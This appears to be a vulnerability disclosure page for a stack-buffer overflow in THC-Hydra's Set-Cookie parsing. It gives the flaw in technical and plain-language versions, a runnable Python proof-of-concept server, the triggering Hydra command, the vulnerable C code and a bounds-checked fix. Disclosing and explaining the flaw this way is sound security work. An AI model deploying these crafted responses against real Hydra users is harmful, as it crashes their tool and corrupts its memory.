CVE-2026–133274 — Stack-Buffer Overflow Write PoC & Write-up (THC-Hydra)
A stack buffer overflow in THC-Hydra's HTTP form cookie parser occurs when a server sends a Set-Cookie header with extra whitespace, causing a negative length calculation that is passed to strncpy. An attacker controlling the server can crash the Hydra client process, leading to denial of service.
Cve 2026 133274
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
THC-Hydra (vanhauser-thc/thc-hydra) is a network login cracker. Its HTTP form module, implemented in hydra-http-form.c, drives form-based authentication checks: Hydra sends HTTP requests to a target, reads the responses, and decides whether a credential pair succeeded or failed. As part of that, the module parses Set-Cookie headers returned by the server and maintains a cookie jar so that cookies set on one response are carried into later requests and updated when the server sends a new value for the same cookie.
The vulnerability described here lives in that cookie parsing and update loop. The version tested was v9.8dev. The affected asset is the Hydra client process itself, and the attack vector is network (HTTP/HTTPS): a server that Hydra is pointed at can return crafted responses that corrupt Hydra's memory.
Reported classification:
| Field | Value |
|---|---|
| Vulnerability class | CWE-787: Out-of-bounds Write / CWE-191: Integer Underflow |
| Affected component | hydra-http-form.c, HTTP form response handler, Set-Cookie parsing loop |
| Attack vector | Network (HTTP/HTTPS) |
| Privileges required | None |
| User interaction | The Hydra operator initiates the HTTP form check |
| CVSS 4.0 | 7.1 (High) |
| CVE | CVE-2026-133274 |
| Discovery date | 6 November 2026 |
| Vendor notification date | 7 November 2026 |
Setup
No accounts or roles are involved. The precondition is a locally built Hydra (v9.8dev was tested) and a target HTTP server that Hydra will talk to. The researcher used a purpose-built Python PoC server bound to [redacted]:8899, which serves exactly two HTTP connections and then exits. Hydra is run against that server with a single thread and debug output enabled.
Two build configurations matter for what you observe: a build with Fortify protections enabled, and a less-protected build. The first aborts on the invalid memory operation; the second exhibits the out-of-bounds write behaviour.
Finding it
The cookie parser handles the whitespace that follows the colon in a Set-Cookie header. When a header contains two spaces after Set-Cookie:, the extra whitespace is preserved at the start of the stored cookie data, so the cookie jar ends up holding a value with an unexpected leading space character.
That alone is a parsing quirk. It becomes a memory-safety problem on the next response, when the same cookie is updated with normal formatting. The update path computes an offset into the cookie string with the expression ptr - cookie - 2. With the leading space still present from the first response, that expression can evaluate to a negative value; if it is -1, the conversion below follows.
The result is then handed to strncpy() as its length argument. Because that parameter is size_t, -1 is converted to a very large unsigned value, and the copy runs past the end of the destination buffer. The same negative value is also used as an array index for the null terminator, so the index calculation is invalid as well, not just the copy length.
Exploitation
Step 1: serve a Set-Cookie header with two spaces after the colon
The first HTTP response returned by the PoC server is:
HTTP/1.1 200 OKSet-Cookie: a=orig; Path=/Content-Length: 0
The payload value in that response is:
Set-Cookie: a=orig; Path=/
The two spaces after Set-Cookie: are the trigger for the first half of the bug. During parsing, the additional whitespace is preserved at the beginning of the cookie data, leaving an unexpected leading character in the cookie jar.
Step 2: update the same cookie with normal formatting
The second HTTP response updates the same cookie, this time with a single space after the colon:
HTTP/1.1 200 OKSet-Cookie: a=newvalue; Path=/Content-Length: 0
The payload value in that response is:
Set-Cookie: a=newvalue; Path=/
The difference in whitespace between the two responses is what drives the parsing and update logic into the invalid length calculation.
Step 3: start the PoC server
The PoC server listens on [redacted]:8899 in the local test environment:
python3 CVE-2026-133274_THC-Hydra_PoC.py
It handles two HTTP requests and sends, in order, the malformed whitespace cookie header and then the response that updates the same cookie normally.
Step 4: run Hydra against it
In a separate terminal:
./hydra -l test -p test [redacted] -s 8899 \ http-get-form "/:user=^USER^&pass=^PASS^:F=incorrect" \ -t 1 -d
This runs a single HTTP form check (http-get-form) against [redacted] on port 8899 with the credentials test/test, one task (-t 1) and debug output (-d). The form specification uses ^USER^ and ^PASS^ placeholders and treats the string incorrect as the failure condition.
Step 5: observe the result
On a Hydra build with Fortify checks enabled, the process terminates with:
*** buffer overflow detected ***: terminated
That output shows the invalid memory operation during cookie parsing being caught by the runtime protection and the Hydra process being aborted. On less-protected builds, the same trigger sequence results in out-of-bounds write behaviour instead.
The full trigger path, as described:
- Hydra sends an HTTP form request to the target HTTP server.
- The server returns a
Set-Cookieheader containing two spaces after the colon. - Hydra processes the cookie and preserves the additional leading whitespace in the cookie data.
- The server updates the same cookie normally in the next HTTP response.
- Hydra enters the cookie update code path.
- The
ptr - cookie - 2expression produces a negative value. - The negative value is passed to the
size_tlength parameter ofstrncpy(). - An out-of-bounds write occurs and the Hydra process terminates.
The PoC server
The server used for the lab run is reproduced below. It binds only to [redacted], serves exactly two HTTP connections and then exits, and is intended only for testing a locally built Hydra instance.
#!/usr/bin/env python3"""CVE-2026-133274 - local THC-Hydra HTTP cookie parsing PoC serverSafety: * Binds only to 127.0.0.1. * Serves exactly two HTTP connections, then exits. * Intended only for testing a locally built Hydra instance."""import socketimport sysHOST = "[redacted]"PORT = 8899MAX_REQUEST_BYTES = 8192RESPONSES = ( ( b"HTTP/1.0 200 OK\r\n" b"Set-Cookie: a=orig; Path=/\r\n" b"Content-Length: 2\r\n" b"Connection: close\r\n" b"\r\n" b"hi" ), ( b"HTTP/1.0 200 OK\r\n" b"Set-Cookie: a=newvalue; Path=/\r\n" b"Content-Length: 2\r\n" b"Connection: close\r\n" b"\r\n" b"hi" ),)def receive_request(conn: socket.socket) -> bytes: """Read a bounded amount of the client's HTTP request.""" conn.settimeout(5.0) chunks = [] total = 0 while total < MAX_REQUEST_BYTES: try: chunk = conn.recv(min(2048, MAX_REQUEST_BYTES - total)) except socket.timeout: break if not chunk: break chunks.append(chunk) total += len(chunk) if b"\r\n\r\n" in b"".join(chunks): break return b"".join(chunks)def main() -> int: print(f"[+] Local Hydra cookie PoC server: http://{HOST}:{PORT}/") print("[+] Waiting for two HTTP requests from the local test client.") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((HOST, PORT)) except OSError as exc: print(f"[-] Could not bind {HOST}:{PORT}: {exc}", file=sys.stderr) return 1 server.listen(5) for index, response in enumerate(RESPONSES, start=1): try: conn, address = server.accept() except KeyboardInterrupt: print("\n[!] Interrupted.") return 130 with conn: request = receive_request(conn) first_line = request.split(b"\r\n", 1)[0] if request else b"<empty>" print(f"[+] Request {index}/2 from {address[0]}:{address[1]}") print(f" {first_line.decode('latin-1', errors='replace')}") conn.sendall(response) print(f"[+] Sent response {index}/2") print("[+] Two-response sequence completed; server exiting.") return 0if __name__ == "__main__": raise SystemExit(main())
The two entries in RESPONSES are the two responses described above, in order: the first carries Set-Cookie: a=orig; Path=/ with the double space, the second carries Set-Cookie: a=newvalue; Path=/. Each connection is closed after the response (Connection: close), and the loop accepts exactly two connections before exiting.
Root cause
The vulnerable code in hydra-http-form.c is:
if (ptr != cookie && *(ptr - 1) == ' ') { strncpy(tmpcookie, cookie, ptr - cookie - 2); tmpcookie[ptr - cookie - 2] = 0;}
The expression ptr - cookie - 2 is used as the length argument to strncpy() without any check for a negative result. The third argument of strncpy() is a size_t, so when the pointer difference evaluates to -1, the value is converted to a very large unsigned integer. The copy then exceeds the intended buffer boundary and corrupts memory.
The same invalid value is used again in the null-terminator assignment:
tmpcookie[ptr - cookie - 2] = 0;
So the issue affects both the copy length and the resulting array index. The leading whitespace preserved from the first response is what makes the offset calculation land on a negative value when the cookie is updated in the second response.
Nothing in the shown code path rejects the negative offset before it reaches strncpy(). On Fortify-enabled builds the runtime protection catches the resulting overflow and aborts the process; on less-protected builds the write proceeds out of bounds.
Impact
Successful triggering can result in:
- Unexpected termination of the Hydra client process.
- Interruption of HTTP form checks.
- Denial of service affecting Hydra.
- Stack-based out-of-bounds write behaviour, depending on the build's memory protection configuration.
The primary impact demonstrated by the PoC is process termination and denial of service. The trigger requires the Hydra operator to initiate the HTTP form check against a server that returns the crafted responses; no privileges are required, and the affected asset is the Hydra client process.
Fix
The ptr - cookie - 2 calculation must not be allowed to produce a negative length. The pointer difference should be calculated using a signed type before conversion to size_t, negative results must be rejected, and the copy length should be limited by the destination buffer capacity.
The defensive approach shown in the report:
ptrdiff_t off = ptr - cookie - 2;
if (off >= 0 && (size_t)off < sizeof(tmpcookie)) { size_t n = (size_t)off; memcpy(tmpcookie, cookie, n); tmpcookie[n] = '\0';}
With this check, a negative length value cannot be passed to strncpy() or similar memory operations.
What happened, in plain words
A security researcher found a bug in a free tool called THC-Hydra. Hydra is a program that people run on their own computer to test whether a website's login form accepts weak or guessable usernames and passwords. It works by sending lots of login attempts to a server and reading the replies.
When Hydra talks to a website, the website can send back small pieces of information called cookies. A cookie is a short label that a website asks your browser (or, here, Hydra) to remember and send back on the next request. Think of it like a cloakroom ticket: the website hands you a ticket, and you show it again later so the website knows who you are.
The bug is in the part of Hydra that reads these cookies. If a website sends a cookie in a slightly unusual way, with an extra space in one place, Hydra stores it with that extra space. Then, when the website sends the same cookie again in the normal way, Hydra does a small piece of arithmetic that comes out as a negative number. That negative number is then used as a length, meaning "how many characters to copy". Because of how the programming language stores lengths, a negative number turns into an enormous positive one, and Hydra tries to copy far more data than the space it reserved. The result is that Hydra writes past the end of its own memory and crashes.
In plain terms: a website that Hydra is pointed at can make Hydra crash just by replying with two specially shaped cookie headers. The researcher built a tiny fake website to prove it, ran Hydra against it, and watched Hydra die with a buffer overflow message.
This matters because Hydra is a tool people use for security testing. If a target server can crash the tester's tool, the test is interrupted. The researcher rated the problem 7.1 out of 10 (High) and it was given the identifier CVE-2026-133274. A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same bug.
The product and the feature
THC-Hydra (the project lives at vanhauser-thc/thc-hydra) is a network login cracker. "Cracker" here means a tool that tries many username and password combinations against a login service to see which ones work. It is used by penetration testers and administrators to check whether their own systems have weak passwords.
Hydra supports many kinds of login: SSH, FTP, and web forms among others. The part involved here is the HTTP form module, implemented in a source file called hydra-http-form.c. HTTP is the language that browsers and servers use to exchange web pages and form submissions. A "form" is the username and password box you see on a web page. The module's job is to send HTTP requests to a target, read the responses, and decide whether a given username and password pair succeeded or failed.
As part of that job, the module reads Set-Cookie headers. A header is a line of extra information that travels with an HTTP request or response, above the actual page content. Set-Cookie is the header a server uses to hand a cookie to the client. Hydra keeps a "cookie jar": a small store of cookies it has received, so that a cookie set on one response is carried into later requests, and updated when the server sends a new value for the same cookie.
The vulnerability lives in that cookie parsing and update loop. The version tested was v9.8dev. The affected asset is the Hydra client process itself, meaning the copy of Hydra running on the tester's machine. The attack vector is network (HTTP/HTTPS): a server that Hydra is pointed at can return crafted responses that corrupt Hydra's memory.
Reported classification:
| Field | Value |
|---|---|
| Vulnerability class | CWE-787: Out-of-bounds Write / CWE-191: Integer Underflow |
| Affected component | hydra-http-form.c, HTTP form response handler, Set-Cookie parsing loop |
| Attack vector | Network (HTTP/HTTPS) |
| Privileges required | None |
| User interaction | The Hydra operator initiates the HTTP form check |
| CVSS 4.0 | 7.1 (High) |
| CVE | CVE-2026-133274 |
| Discovery date | 6 November 2026 |
| Vendor notification date | 7 November 2026 |
A few of those terms need unpacking. "Vulnerability class" is the category the bug falls into. CWE-787, Out-of-bounds Write, means the program writes data outside the memory area it reserved for it, like pouring a litre of water into a half-litre glass. CWE-191, Integer Underflow, means a number goes below the smallest value the type can hold, or a subtraction produces a negative result where only non-negative values were expected. "Attack vector: Network" means the attacker reaches the bug over the network rather than by sitting at the keyboard. "Privileges required: None" means the attacker does not need an account on the target. "User interaction" means a person has to do something for the bug to fire, here the Hydra operator starting an HTTP form check. CVSS is a scoring system for how serious a flaw is; 7.1 out of 10 is High.
Setup
No accounts or roles are involved. The precondition is a locally built Hydra (v9.8dev was tested) and a target HTTP server that Hydra will talk to. "Locally built" means the researcher compiled Hydra from its source code on their own machine, rather than installing a ready-made package.
The researcher used a purpose-built Python PoC server bound to [redacted]:8899. Python is a programming language; a PoC (proof of concept) is a small demonstration that shows a bug is real. [redacted] is the special address that always means "this computer", so the server only accepts connections from the same machine. Port 8899 is just a numbered door on that machine, chosen so it does not clash with common services. The server serves exactly two HTTP connections and then exits.
Hydra is run against that server with a single thread and debug output enabled. A thread is one line of work; -t 1 means Hydra does one login attempt at a time, which keeps the test simple. Debug output means Hydra prints extra detail about what it is doing.
Two build configurations matter for what you observe: a build with Fortify protections enabled, and a less-protected build. Fortify is a set of safety checks that a compiler can add to a program; when the program does something dangerous with memory, the checks notice and stop it. The first build aborts on the invalid memory operation; the second exhibits the out-of-bounds write behaviour.
Finding it
The cookie parser handles the whitespace that follows the colon in a Set-Cookie header. Whitespace means spaces, tabs and similar invisible characters. When a header contains two spaces after Set-Cookie:, the extra whitespace is preserved at the start of the stored cookie data, so the cookie jar ends up holding a value with an unexpected leading space character.
That alone is a parsing quirk, meaning the program reads the input slightly differently from what you would expect, but nothing bad happens yet. It becomes a memory-safety problem on the next response, when the same cookie is updated with normal formatting. The update path computes an offset into the cookie string with the expression ptr - cookie - 2. An offset is a distance, here the number of characters between the start of the cookie text and some point inside it. With the leading space still present from the first response, that expression can evaluate to a negative value; if it is -1, the conversion below follows.
The result is then handed to strncpy() as its length argument. strncpy() is a standard C function that copies a fixed number of characters from one place in memory to another. Its length argument is declared as size_t, which is an unsigned integer type: it can only hold zero and positive numbers. When you give it -1, the computer stores it as the largest value the type can hold, a very large positive number. The copy then runs past the end of the destination buffer. A buffer is a reserved block of memory, like a row of numbered boxes; running past its end means writing into boxes that belong to something else.
The same negative value is also used as an array index for the null terminator, so the index calculation is invalid as well, not just the copy length. A null terminator is the zero byte that marks the end of a text string in C; an array index is the position number used to pick one box in the buffer.
Exploitation
Step 1: serve a Set-Cookie header with two spaces after the colon
The first HTTP response returned by the PoC server is:
HTTP/1.1 200 OKSet-Cookie: a=orig; Path=/Content-Length: 0
Line by line: HTTP/1.1 200 OK is the status line, saying the request succeeded. Set-Cookie: a=orig; Path=/ hands the client a cookie named a with the value orig, valid for the whole site (Path=/), and note the two spaces after the colon. Content-Length: 0 says the response body is empty. In the report the lines are shown run together; in a real response each header sits on its own line.
The payload value in that response is:
Set-Cookie: a=orig; Path=/
This is the same header on its own. The two spaces after Set-Cookie: are the trigger for the first half of the bug. During parsing, the additional whitespace is preserved at the beginning of the cookie data, leaving an unexpected leading character in the cookie jar. The reason this step is taken is to plant that leading space, so that the next response can trip the arithmetic.
Step 2: update the same cookie with normal formatting
The second HTTP response updates the same cookie, this time with a single space after the colon:
HTTP/1.1 200 OKSet-Cookie: a=newvalue; Path=/Content-Length: 0
Same structure as before: a success status, a Set-Cookie header, and an empty body. The only difference is that there is now one space after the colon, which is the normal way to write the header.
The payload value in that response is:
Set-Cookie: a=newvalue; Path=/
The difference in whitespace between the two responses is what drives the parsing and update logic into the invalid length calculation. The first response leaves the stored cookie with a leading space; the second asks Hydra to replace that cookie's value. When Hydra lines up the old stored text with the new header text, the extra space shifts the positions by one, and the subtraction that computes the copy length can land on -1.
Step 3: start the PoC server
The PoC server listens on [redacted]:8899 in the local test environment:
python3 CVE-2026-133274_THC-Hydra_PoC.py
python3 runs the Python interpreter, and the file name is the script. Running it starts a tiny web server on your own machine. It handles two HTTP requests and sends, in order, the malformed whitespace cookie header and then the response that updates the same cookie normally. The reason for a purpose-built server is control: a real website would not send these exact headers, so the researcher writes a server that does, and nothing else.
Step 4: run Hydra against it
In a separate terminal:
./hydra -l test -p test [redacted] -s 8899 \ http-get-form "/:user=^USER^&pass=^PASS^:F=incorrect" \ -t 1 -d
Line by line: ./hydra runs the Hydra program in the current folder. -l test sets a single login name, test. -p test sets a single password, test. [redacted] is the target, your own machine. -s 8899 sets the port to 8899. http-get-form tells Hydra to use its HTTP form module. The quoted string is the form specification: /:user=^USER^&pass=^PASS^:F=incorrect says the form is at the site root, the username field is called user, the password field is called pass, and the text incorrect in the reply means the login failed. ^USER^ and ^PASS^ are placeholders Hydra fills in with the credentials. -t 1 means one task at a time. -d turns on debug output.
This runs a single HTTP form check against [redacted] on port 8899 with the credentials test/test, one task, and debug output.
Step 5: observe the result
On a Hydra build with Fortify checks enabled, the process terminates with:
*** buffer overflow detected ***: terminated
That output shows the invalid memory operation during cookie parsing being caught by the runtime protection and the Hydra process being aborted. "Runtime protection" means checks that run while the program is running, not while it is being compiled. On less-protected builds, the same trigger sequence results in out-of-bounds write behaviour instead, meaning the write goes ahead and corrupts memory, which may crash Hydra or cause other unpredictable behaviour.
The full trigger path, as described:
- Hydra sends an HTTP form request to the target HTTP server.
- The server returns a
Set-Cookieheader containing two spaces after the colon. - Hydra processes the cookie and preserves the additional leading whitespace in the cookie data.
- The server updates the same cookie normally in the next HTTP response.
- Hydra enters the cookie update code path.
- The
ptr - cookie - 2expression produces a negative value. - The negative value is passed to the
size_tlength parameter ofstrncpy(). - An out-of-bounds write occurs and the Hydra process terminates.
The PoC server
The server used for the lab run is reproduced below. It binds only to [redacted], serves exactly two HTTP connections and then exits, and is intended only for testing a locally built Hydra instance.
#!/usr/bin/env python3"""CVE-2026-133274 - local THC-Hydra HTTP cookie parsing PoC serverSafety: * Binds only to 127.0.0.1. * Serves exactly two HTTP connections, then exits. * Intended only for testing a locally built Hydra instance."""import socketimport sysHOST = "[redacted]"PORT = 8899MAX_REQUEST_BYTES = 8192RESPONSES = ( ( b"HTTP/1.0 200 OK\r\n" b"Set-Cookie: a=orig; Path=/\r\n" b"Content-Length: 2\r\n" b"Connection: close\r\n" b"\r\n" b"hi" ), ( b"HTTP/1.0 200 OK\r\n" b"Set-Cookie: a=newvalue; Path=/\r\n" b"Content-Length: 2\r\n" b"Connection: close\r\n" b"\r\n" b"hi" ),)def receive_request(conn: socket.socket) -> bytes: """Read a bounded amount of the client's HTTP request.""" conn.settimeout(5.0) chunks = [] total = 0 while total < MAX_REQUEST_BYTES: try: chunk = conn.recv(min(2048, MAX_REQUEST_BYTES - total)) except socket.timeout: break if not chunk: break chunks.append(chunk) total += len(chunk) if b"\r\n\r\n" in b"".join(chunks): break return b"".join(chunks)def main() -> int: print(f"[+] Local Hydra cookie PoC server: http://{HOST}:{PORT}/") print("[+] Waiting for two HTTP requests from the local test client.") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((HOST, PORT)) except OSError as exc: print(f"[-] Could not bind {HOST}:{PORT}: {exc}", file=sys.stderr) return 1 server.listen(5) for index, response in enumerate(RESPONSES, start=1): try: conn, address = server.accept() except KeyboardInterrupt: print("\n[!] Interrupted.") return 130 with conn: request = receive_request(conn) first_line = request.split(b"\r\n", 1)[0] if request else b"<empty>" print(f"[+] Request {index}/2 from {address[0]}:{address[1]}") print(f" {first_line.decode('latin-1', errors='replace')}") conn.sendall(response) print(f"[+] Sent response {index}/2") print("[+] Two-response sequence completed; server exiting.") return 0if __name__ == "__main__": raise SystemExit(main())
Line by line, in plain words. The first line, #!/usr/bin/env python3, tells the operating system which program should run this file. The triple-quoted block is a comment describing the script and its safety limits. import socket and import sys bring in two standard Python modules: one for network connections, one for system-level things like printing to the error stream. HOST = "[redacted]" and PORT = 8899 set the address and door the server will use. MAX_REQUEST_BYTES = 8192 caps how much of a request the server will read, so a misbehaving client cannot flood it.
RESPONSES is a tuple, an ordered list, of two canned replies. The first contains Set-Cookie: a=orig; Path=/ with the double space; the second contains Set-Cookie: a=newvalue; Path=/ with a single space. The b"..." prefix means these are bytes, the raw form of text on the wire. \r\n is the carriage-return plus line-feed pair that HTTP uses to end a line. Content-Length: 2 says the body is two bytes long, and the body is hi. Connection: close tells the client the server will hang up after this reply.
receive_request reads whatever the client sends, up to the cap, with a five-second timeout so it never hangs forever. It stops early once it sees the blank line (\r\n\r\n) that marks the end of HTTP headers. main prints two status lines, then opens a socket, sets SO_REUSEADDR so the port can be reused quickly after a restart, binds to the address and port, and starts listening. The for loop runs twice, once per canned response. Each time it accepts one connection, reads the request, prints the first line of the request (the method and path), sends the canned response, and prints a confirmation. After two connections it prints a final line and exits.
The two entries in RESPONSES are the two responses described above, in order: the first carries Set-Cookie: a=orig; Path=/ with the double space, the second carries Set-Cookie: a=newvalue; Path=/. Each connection is closed after the response (Connection: close), and the loop accepts exactly two connections before exiting.
Root cause
The vulnerable code in hydra-http-form.c is:
if (ptr != cookie && *(ptr - 1) == ' ') { strncpy(tmpcookie, cookie, ptr - cookie - 2); tmpcookie[ptr - cookie - 2] = 0;}
Line by line: if (ptr != cookie && *(ptr - 1) == ' ') checks two things. ptr is a pointer, a variable that holds a memory address, here pointing at some position inside the cookie text. cookie points at the start of the same text. ptr != cookie means "we are not at the very start". *(ptr - 1) == ' ' looks at the character just before ptr and asks whether it is a space. So the whole condition means: we are somewhere inside the text, and the character before us is a space.
strncpy(tmpcookie, cookie, ptr - cookie - 2) copies characters from cookie into tmpcookie, a temporary buffer. The third argument is the number of characters to copy, computed as the distance from the start to ptr, minus two. tmpcookie[ptr - cookie - 2] = 0 then writes a zero byte at that same position, to mark the end of the string.
The expression ptr - cookie - 2 is used as the length argument to strncpy() without any check for a negative result. The third argument of strncpy() is a size_t, so when the pointer difference evaluates to -1, the value is converted to a very large unsigned integer. The copy then exceeds the intended buffer boundary and corrupts memory.
The same invalid value is used again in the null-terminator assignment:
tmpcookie[ptr - cookie - 2] = 0;
So the issue affects both the copy length and the resulting array index. The leading whitespace preserved from the first response is what makes the offset calculation land on a negative value when the cookie is updated in the second response.
Nothing in the shown code path rejects the negative offset before it reaches strncpy(). On Fortify-enabled builds the runtime protection catches the resulting overflow and aborts the process; on less-protected builds the write proceeds out of bounds.
Impact
Successful triggering can result in:
- Unexpected termination of the Hydra client process.
- Interruption of HTTP form checks.
- Denial of service affecting Hydra.
- Stack-based out-of-bounds write behaviour, depending on the build's memory protection configuration.
Denial of service means making a service unusable without necessarily breaking into it. "Stack-based" refers to the stack, the region of memory where a program keeps the short-lived data of the function it is currently running; writing past a buffer there can overwrite other data the function relies on.
The primary impact demonstrated by the PoC is process termination and denial of service. The trigger requires the Hydra operator to initiate the HTTP form check against a server that returns the crafted responses; no privileges are required, and the affected asset is the Hydra client process.
Fix
The ptr - cookie - 2 calculation must not be allowed to produce a negative length. The pointer difference should be calculated using a signed type before conversion to size_t, negative results must be rejected, and the copy length should be limited by the destination buffer capacity. A signed type is one that can hold negative numbers as well as positive ones.
The defensive approach shown in the report:
ptrdiff_t off = ptr - cookie - 2;
ptrdiff_t is the signed type meant for holding the difference between two pointers. Storing the result in off first means the program can look at it before using it.
if (off >= 0 && (size_t)off < sizeof(tmpcookie)) { size_t n = (size_t)off; memcpy(tmpcookie, cookie, n); tmpcookie[n] = '\0';}
Line by line: if (off >= 0 && (size_t)off < sizeof(tmpcookie)) checks that the offset is not negative and that it fits inside the destination buffer. sizeof(tmpcookie) gives the buffer's size in bytes. If both checks pass, size_t n = (size_t)off; converts the offset to the unsigned type safely, memcpy(tmpcookie, cookie, n); copies exactly n characters, and tmpcookie[n] = '\0'; writes the null terminator at a position that is known to be inside the buffer.
With this check, a negative length value cannot be passed to strncpy() or similar memory operations.
Glossary
- API: a defined way for one program to talk to another, like a menu of requests a service accepts.
- Array index: the position number used to pick one item out of a list or block of memory.
- Attack vector: the route an attacker uses to reach a bug, for example over the network or from the local keyboard.
- Buffer: a reserved block of memory used to hold data temporarily.
- Buffer overflow: writing more data into a buffer than it can hold, so the extra spills into neighbouring memory.
- Build: a compiled copy of a program, produced from its source code.
- Cookie: a small piece of data a website asks a client to store and send back on later requests.
- Cookie jar: the store where a client keeps the cookies it has received.
- CVE: a public catalogue number for a known security vulnerability.
- CVSS: a scoring system that rates the severity of a vulnerability, here 7.1 out of 10.
- CWE-191 (Integer Underflow): a number going below the smallest value its type can hold, or a subtraction producing a negative result where none was expected.
- CWE-787 (Out-of-bounds Write): writing data outside the memory area reserved for it.
- Denial of service: making a service unusable without necessarily breaking into it.
- Fortify: compiler-added safety checks that catch dangerous memory operations at runtime.
- Header: a line of extra information sent with an HTTP request or response, above the body.
- HTTP: the protocol browsers and servers use to exchange web pages and form data.
- HTTP form module: the part of Hydra that tests web login forms.
- Hydra (THC-Hydra): a network login cracker used to test whether login services accept weak credentials.
- Integer: a whole number, positive, negative or zero.
- Memory corruption: damage to a program's memory caused by writing where it should not.
- Null terminator: the zero byte that marks the end of a text string in C.
- Offset: a distance, usually a number of characters or bytes, from a starting point.
- Pointer: a variable that holds a memory address.
- Port: a numbered door on a computer that a network service listens on.
- Privileges required: whether an attacker needs an account or special rights on the target.
- Proof of concept (PoC): a small demonstration that shows a bug is real.
- Python: a programming language often used for small scripts and tools.
Set-Cookie: the HTTP response header a server uses to hand a cookie to the client.- Signed type: a number type that can hold negative values as well as positive ones.
- Socket: a program's connection point for sending and receiving network data.
- Stack: the region of memory where a program keeps the short-lived data of the function it is currently running.
strncpy(): a standard C function that copies a fixed number of characters from one place in memory to another.size_t: an unsigned integer type used for sizes and lengths; it cannot hold negative numbers.- Thread: one line of work inside a program.
- Unsigned type: a number type that can only hold zero and positive values.
- User interaction: whether a person has to do something for a bug to fire.
- Vulnerability: a weakness in a program that can be used to make it behave in ways its author did not intend.
- Whitespace: invisible characters such as spaces and tabs.